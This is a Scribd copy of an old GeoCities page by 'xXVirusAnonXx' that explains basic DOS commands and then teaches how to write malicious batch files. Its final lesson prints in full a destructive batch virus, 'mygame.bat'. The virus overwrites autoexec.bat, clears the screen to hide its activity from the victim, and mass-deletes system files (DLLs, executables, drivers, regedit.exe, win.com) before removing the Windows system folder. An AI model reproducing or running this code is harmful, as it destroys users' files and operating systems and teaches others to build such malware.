Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                
100% found this document useful (2 votes)
777 views

DOS Commands Tutorial - Very Short List

The document provides information about DOS commands and how to write malicious batch files. It explains what DOS is and some common DOS commands like CD, DIR, EDIT, DEL. It then discusses what can be done with batch files like deleting files, starting programs, making/removing folders, copying files. It indicates batch files are an outdated but could still potentially harm computers and that anything possible in DOS is also possible in a batch file.

Uploaded by

ankitguha
Copyright
© Attribution Non-Commercial (BY-NC)
Available Formats
Download as PDF, TXT or read online on Scribd
100% found this document useful (2 votes)
777 views

DOS Commands Tutorial - Very Short List

The document provides information about DOS commands and how to write malicious batch files. It explains what DOS is and some common DOS commands like CD, DIR, EDIT, DEL. It then discusses what can be done with batch files like deleting files, starting programs, making/removing folders, copying files. It indicates batch files are an outdated but could still potentially harm computers and that anything possible in DOS is also possible in a batch file.

Uploaded by

ankitguha
Copyright
© Attribution Non-Commercial (BY-NC)
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 10

DOS and BATCH files

Explaining DOS and Melicious BATCH files

Explained by xXVirusAnonXx

In This Section of the Web Site, you will read what some DOS commands are and how to write Melicious BATCH files.

DOS TUTORIAL
Dos has been around for many many years, and is outdated Today. Windows no longer needs to operate under DOS like it used to, Windows 98
SE was the last DOS operating system that relied on DOS and files in DOS to even start up the computer. DOS stands for Disk Operating System.
It is the software that communicates with the hardware of your computer. An operating system is a collection of programs that provides services to
other (application) programs so that the applications do not have to include the code to do these operations. Some of these services include how
to handle the display, keyboard, printer, floppy and hard disk drives, and memory (RAM).

DOS commands you will need to know

I am not going to cover all of the DOS commands, just the ones that you will probably find helpful.

COMMAND DEFINITION EXAMPLE

This command means "Change Directory" attributes of this command c:\> (cd windows) will take
are .. , and \ the two dots will back you up a directory, and the \ will take you in the windows directory,
CD you to the main root Directory. like C:\> the result will be C:
\WINDOWS>

The DIR command means "Directory", this will show you all files existing C:\>DIR (or)
in the directory, you may also follow up the DIR with a /p , this will then
pause the directory so that you can go as slow as you want when browsing, C:\>DIR/P
DIR if you enter this command, and the /p you will see what im talking about.

The edit command is followed by a file name and extention. After this, C:\>EDIT whatever.whatever
EDIT DOS will then open up MSDOS editor, and you can view files and even
edit them.
The DEL command is the "Delete" command, this DEL command is C:\>DEL whatever.whatever
DEL
followed by whatever file you want it to delete.

http://www.geocities.com/xxvirusanonxx/DandB.htm (1 of 10)9/23/2007 9:47:41 AM


DOS and BATCH files

The copy command is exactly what it says, COPY. this is followed by what C:\>COPY win.ini A:\>win.ini
file you want to copy and then where you want it to copy it to, you may be
COPY specific if you would like with this command. After you tell it what file
you want it to copy, then specify where you want it to copy to, and what
you want to name the copy as.

The XCOPY command will copy folders, and its possible sub folders and C:\>XCOPY C:\whatever
files contained inside of the folder you specify. remember again, be
XCOPY specific. You will then have to specify where you want it to be copied to
just like the regular copy command.
This command is the "Make Directory" command, you can create a new C:\>MD C:\windows\whatever
directory(folder) by following this command up with the folder you want it
MD to be called. You will want to specify where you want the folder to be
created like i have shown in the example box>>

This is the "Remove Directory" command, this deletes folders or C:\>RD C:\windows\system
RD directories. follow this command up with the folder you want to remove,
remember, be specific in where the directory is located.
This command is the "Clear Screen" command, if you have been working C:\CLS
CLS inside of DOS for along time, you can use this command to give you a new
refreshed screen, DOS will look as if you just opened it.
This usually in batch files, this basically tells the computer to display what ECHO Hello!
you have written, echo can be used to write fake error messages, drawings,
ECHO or pretty much anything you want the DOS to display. Echo feature can be
turned on and off simply by saying Echo on or Echo off. Also, anything
after the echo command is what is displayed on the screen.

__________________________________________________________________________________________________________

If you really are wanting to know more email me with your questions and i will tell you...

__________________________________________________________________________________________________________

BATCH VIRII TUTORIAL


Explained by xXVirusAnonXx

___________________________________________________________

http://www.geocities.com/xxvirusanonxx/DandB.htm (2 of 10)9/23/2007 9:47:41 AM


DOS and BATCH files

Batch files are seemed to be favored more by the Newbies. Perhaps the reason why is it is pretty simple if you know DOS or Command
Prompt. Batch files are really out of style today, more people write viruses in Visual Basic and C. The reason is because Visual Basic
and C are a more powerful language. Also, Batch files are executed through DOS. Batch viruses would work best in a windows 95,98,
and 98 SE working environment. Windows 98 SE was the last Dos operated system. Computers today still can be hurt by batch files,
and not only that but if you want to do some Honest batch file making (non-Melicious) you can do that too...

WHAT CAN YOU DO WITH A BATCH FILE ?

pretty much, you can do anything you really want in a batch file such as:

DELETE FILES

START PROGRAMS

MAKE FOLDERS

REMOVE FOLDERS

RENAME FILES/FOLDERS

COPY FILES/FOLDERS

and a few other things, see anything familiar?? Well you should, its DOS, anything you can do in DOS, you can do in a Batch file. lets
begin some batch work!

LETS BEGIN

Batch files should be created using NOTEPAD®. Now, im going to assume you know a little about computers, and DOS, if you dont,
then you might be a little Lost, but if you read the DOS commands above, you should be ok.

SAVING BATCH FILES

Batch files should be written in notepad® like i said above, the reason why is because Notepad allows you to change the format of a
file, other programs dont allow you to do that. you would simply save a batch file as whateveryouwant.bat The file has to end with an
extention of .bat

WHAT IS AN EXTENTION ?

An extention is the last 3 letters on a file such as, .exe , .bat , .com , .txt , .doc , .ini , and .sys

Of course there are more extentions than that, but those are just some examples.

LESSON #1 (delete a file in the main C drive)

Lets try to make a batch file which will delete a file. the file can be anything, the main point is to delete it, now, i am going to just make
random file names because i dont want you to copy this code and run it , this is a safe way to do it. The code i list in () are just
explanations to help you, you dont put this in your code, simply because DOS cannot execute them.

http://www.geocities.com/xxvirusanonxx/DandB.htm (3 of 10)9/23/2007 9:47:41 AM


DOS and BATCH files

C: (Tells the computer to go to the main drive, The C drive)


del something. (This is only an example, there is no file named something.something , you would put
something the file name and extention)
(This, like VB, and QB, tells the computer that the batch file is done, and the program
end
needs to end.)

And there you have it, if you did this correctly, it would delete whatever you told it to. Make sure to Save the file as whateveryouwant.bat

LESSON #2 (going inside a directory to delete a file)

Here you will attempt to go inside of a directory (folder) and delete a file. This wil be very similar to the first lesson , except in this lesson you will
go inside of the directory to get a file.

C: (Tells the computer to go to the main drive, The C drive)


cd WhateverTheFolderNameIs (Tells the computer to go to whatever directory you specify)
(This is only an example, there is no file named something.
del something.something
something , you would put the file name and extention)
(This, like VB, and QB, tells the computer that the file is
end
done, and the program needs to end.)

LESSON #3 (the same as lesson 2 but shorter way of doing it)

This will do the exact same thing as lesson 2, but in a shorter way.

(Tells the computer to go to the main drive, The C


C:
drive)
Del TheDirectoryName\TheFileName. (Instead of manually typing in CD to get to the
TheExtention directory, this will automatically go and delete)
(This, like VB, and QB, tells the computer that the file
end
is done, and the program needs to end.)

LESSON #4 (Echo Demonstration)

This lesson will show you how the Echo works.

(Tells the computer to display everything you say after the


@Echo Off
command echo)
Echo Hello (computer will display Hello)
Echo I am using the Echo
(computer will display I am using the Echo Command)
Command
Echo Im done now (computer will display I am done now)

http://www.geocities.com/xxvirusanonxx/DandB.htm (4 of 10)9/23/2007 9:47:41 AM


DOS and BATCH files

LESSON #5 (The final lesson, using all kinds of commands)

This lesson i just decided to write a big script for, instead of sectioning off the lessons into certain topics, im just going to write a source that will
also explain what it does, like the previous ones did.

**The Following is an actuall virus called mygame.bat, the official was turned into an EXE file and CAN be picked up on virus scanners,
Sophos calls this virus "TROJ/MYGAME.A"

**WARNING**: If you copy this code, and run it on your system, it is harmful, and most likely will cause serious damage. If you copy it,
do it at your own risk.

(anything after rem does not display on screen, but is


REM - This virus was created by
like a note to the user, REM usually means dont run but
xXVirusAnonXx
you still want it to be in the code)
copy Mygame.bat c:\autoexec.bat (This will copy mygame.bat into autoexec.bat)
(this tells the computer that if the directory of documents
if exist c:\Documents and settings goto 2 and settings exists, then go to option # 2 which is
located later on in the text, this is for 2000 and XP users)
(This tells the computer that if the file autoexec.bat
if exist c:\autoexec.bat goto 1 exists then go to option 1. This is for Win98 and 95
users primarily
(cls means clear screen, this will not display the
cls anything above the cls command to ensure that the
victim doesnt see what is going on.)
:1 (option 1)
c: (this tells the computer to go to the C drive
cd windows (This tells the computer to go to the windows folder)
cd system (This tells the computer to go to the system folder)
(this command tells the computer to delete everything
del *.dll with the extention .dll) the * symbol is a "wildcard" it
basically means everything
(sometimes when a critical file is being deleted, windows
y will ask the user if they are sure, the y means "yes" so it
will automatically say yes for the user Ü
(This command will delete everything with the extention.
del *.exe exe anything after the *. will be deleted, you will see on
ongoing list of this)
y (already explained)
del *.tsp (already explained)
y (already explained)
del *.vxd (already explained)

http://www.geocities.com/xxvirusanonxx/DandB.htm (5 of 10)9/23/2007 9:47:41 AM


DOS and BATCH files

y (already explained)

(already explained)
del *.drv
y (already explained)
del *.3gr (already explained)
y (already explained)
del *.ax (already explained)
y (already explained)
del *.dat (already explained)
y (already explained)
del *.cpl (already explained)
y (already explained)
del *.cnt (already explained)
y (already explained)
del *.cfg (already explained)
y (already explained)
del *.cpx (already explained)
y (already explained)
del *.nls (already explained)
y (already explained)
del *.htm (already explained)
y (already explained)
del *.inf (already explained)
y (already explained)
del *.hlp (already explained)
y (already explained)
del *.kbd (already explained)
y (already explained)
del *.msc (already explained)
y (already explained)
del *.ocx (already explained)
y (already explained)
del *.rat (already explained)
y (already explained)
del *.rsp (already explained)
y (already explained)
cls (already explained)
del *.sys (already explained)

http://www.geocities.com/xxvirusanonxx/DandB.htm (6 of 10)9/23/2007 9:47:41 AM


DOS and BATCH files

y (already explained)
del *.tlb (already explained)
y (already explained)
del *.tsk (already explained)
y (already explained)
del *.txt (already explained)
y (already explained)
del *.acm (already explained)
y (already explained)
del *.vwp (already explained)
y (already explained)
del *.tsp (already explained)
y (already explained)
del *.vbx (already explained)
y (already explained)
cls (already explained)
del *.ini (already explained)
y (already explained)
del *.mod (already explained)
y (already explained)
del *.scr (already explained)
y (already explained)
del *.wmf (already explained)
y (already explained)
del *.wmf (already explained)
y (already explained)
del *.tlb (already explained)
y (already explained)
del *.lrc (already explained)
y (already explained)
del *.pif (already explained)
y (already explained)
del *.olb (already explained)
y (already explained)
del *.dep (already explained)
y (already explained)
del *.srg (already explained)

http://www.geocities.com/xxvirusanonxx/DandB.htm (7 of 10)9/23/2007 9:47:41 AM


DOS and BATCH files

y (already explained)
del *.map (already explained)
y (already explained)
del *.pdb (already explained)
y (already explained)
del *.xmi (already explained)
y (already explained)
del *.oca (already explained)
y (already explained)
cls (already explained)
c: (already explained)
cd\ (already explained)
cls (already explained)
cd windows (This computer tells it to go to the windows folder again)
del win.com (already explained)
y (already explained)
del win.ini (already explained)
y (already explained)
cls (already explained)

del *.dll (already explained)


y (already explained)
del *.com (already explained)
y (already explained)
del *.* (This command "del *.*" means to delete everything)
y (already explained)
cls (already explained)
cd\ (This tells the computer to go to the root of the drive)
cd windows (already explained)
del regedit.exe (this will delete the system regestry executable file
cls (already explained)
cd\ (already explained)
del autoexec.bat (already explained)
y (already explained)
del mygame.bat (already explained)
cls (already explained)
(This command RD stands for Remove Directory, i think
rd c:\windows\system
you can figure it out)

http://www.geocities.com/xxvirusanonxx/DandB.htm (8 of 10)9/23/2007 9:47:41 AM


DOS and BATCH files

y (already explained)
cls (already explained)
end (Ends the program)

:2 (option 2)
c: (already explained)
cls (already explained)
cd\ (already explained)
del *.bat (already explained)
y (already explained)
cls (already explained)
del *.com (already explained)
y (already explained)
cls (already explained)
del *.ini (already explained)
y (already explained)
cls (already explained)
del *.dll (already explained)
y (already explained)
cls (already explained)
cd\ (already explained)
del mygame.bat (already explained)
cls (already explained)
del autoexec.bat (already explained)
y (already explained)
cls (already explained)
cd dosboot (already explained)
del *.com (already explained)
y (already explained)
del *.bat (already explained)
y (already explained)
del *.sys (already explained)
y (already explained)
del *.txt (already explained)
y (already explained)
rd c:\dosboot (already explained)
y (already explained)

http://www.geocities.com/xxvirusanonxx/DandB.htm (9 of 10)9/23/2007 9:47:41 AM


DOS and BATCH files

cls (already explained)


end (already explained)

____________________________________________________________________________________________________________________

There is much more you can do with batch, if you really want to learn more, you may email me. If you can understand DOS you can
understand and create BATCH files.

Home Page

http://www.geocities.com/xxvirusanonxx/DandB.htm (10 of 10)9/23/2007 9:47:41 AM

You might also like